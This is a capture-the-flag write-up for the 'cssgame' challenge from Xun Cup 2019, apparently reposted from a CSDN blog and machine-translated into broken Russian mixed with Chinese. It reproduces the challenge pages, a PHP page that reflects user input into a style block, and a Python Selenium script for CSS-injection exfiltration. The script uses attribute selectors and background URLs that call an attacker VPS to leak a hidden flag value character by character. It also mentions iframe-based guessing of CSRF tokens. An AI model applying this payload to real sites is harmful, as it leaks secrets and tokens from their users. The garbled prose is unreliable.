Сюнь Cup 2019 cssgame

Тема анализ 0x01

<html>
<head>
    <meta charset="utf8" />
    <title>CSS Game</title>
    <style>

    </style>
</head>
<body>
<h1>CSS Game</h1>
<p>
    The flag is in <code>http://127.0.0.1:60000/flag.html</code>
</p>
<p>
    flag.html
    <!--
        <html>
            <link rel="stylesheet" href="${encodeURI(req.query.css)}" />
             <form>
                <input name="Email" type="text" value="test">
                <input name="flag" type="hidden" value="202cb962ac59075b964b07152d234b70"/>
                <input type="submit" value="提交">
            </form>
        </html>
    -->
</p>
<form action="/crawl.html" method="post">
    http://127.0.0.1:60000/flag.html?css=<input type="text" name="css" />
    <input type="submit"/><br><br>
</form>
</body>
</p>

Вероятно, означает, что мы хотим ввести CSS, CSS и это контролируется flag.php, и мы должны флаг в скрытом вводе внутри flag.php значения, только через CSS мы вводим это значение с вне ~~

Следующий скрипт отправил его непосредственно, по экологическим причинам мы имеем один бит , чтобы попытаться на Ем какую - то причина побежала несколько экологических повесила, поэтому я беру на местную окружающую среду, принципы аналогичны ~ ~
index.html

<html>
<head>
    <meta charset="utf8" />
    <title>CSS Game</title>
    <style>
    </style>
</head>
<body>
<h1>CSS Game</h1>
<p>
    The flag is in <code>http://127.0.0.1/flag.php</code>
</p>
<p>
    flag.php
    <!--
        <html>
            <link rel="stylesheet" href="${encodeURI(req.query.css)}" />
             <form>
                <input name="Email" type="text" value="test">
                <input name="flag" type="hidden" value="202cb962ac59075b964b07152d234b70"/>
                <input type="submit" value="提交">
            </form>
        </html>
    -->
</p>
<form action="/flag.php" method="post">
    http://127.0.0.1/flag.php?css=<input type="text" name="css" />
    <input type="submit"/><br><br>
</form>
</body>
</p>

flag.php

        <html>
            <style>
    <?=preg_replace('#</style#i', '#', $_POST['css']) ?>
</style>
             <form>
                <input name="Email" type="text" value="test">
                <input name="flag" type="hidden" value="202cb962ac59075b964b07152d234b70"/>
                <input type="submit" value="提交">
            </form>
        </html>

полезная нагрузка
# encoding = utf-8
import string 
from selenium import webdriver	
import time

driver = webdriver.Chrome()
url = 'http://127.0.0.1'
flag = ''
s = string.digits+string.ascii_letters+'{'+'}'+'_'
for i in s:
        flag += i
        string = 'input[name="flag"][value^="%s"] { background:url(http://129.204.207.xxx:8885/%s);}'%(flag, flag)
        data = {"css": string}
        driver.get(url)
        css = driver.find_element_by_name('css')
        css.send_keys(string)
        driver.find_element_by_xpath("//input[@type='submit']").click()
        flag= ''

Здесь я использую

input[name="flag"][value^="%s"] { background:url(http://129.204.207.xxx:8885/%s);}

value^=xxx,就是指value的前几位是xxxЕсли право посетить наш VPS, так что мы знаем, каковы первые несколько, а затем вручную изменить значение ~ ~ немного в полезной нагрузке



Думая вопрос:

Поскольку этот вопрос параметры CSS поста, но селен не поддерживает прямую записи, так что я искал , чтобы поддержать пост библиотеки, но там всегда будут проблемы, но тогда я был непосредственно selenuim定位元素,填写表单представлен решить эту проблему -
я думаю , развитие selenuim начальников, но и считает , что мы можем получить первую страницу, заполнить форму , а затем найти его элементы, поэтому не разрабатывать модули POST ~~

В процессе выполнения я также пытался xhr, 但是xhr那个只是访问url,并不渲染urlтак что нет никакого способа получить доступ к нашим VPS ~~


Справочные ссылки

Здесь снова опубликовало несколько статей о селене ~~ позиционирование
ссылки



Последняя официальная нагрузка размещена

1

Постоянно создавать IFRAME, динамически догадываются каждый CSRF токен, конечно, это требует , чтобы целевой сайт Рентгеновских каркасных опции не заблокированная
ссылка

2

Это IFrame отключен, есть способы , чтобы послать его?
Обратитесь к статье сказал:
https://medium.com/@d0nut/better-exfiltration-via-html-injection-31c72a2dae8b

发布了47 篇原创文章 · 获赞 2 · 访问量 3117

рекомендация

отblog.csdn.net/a3320315/article/details/104071188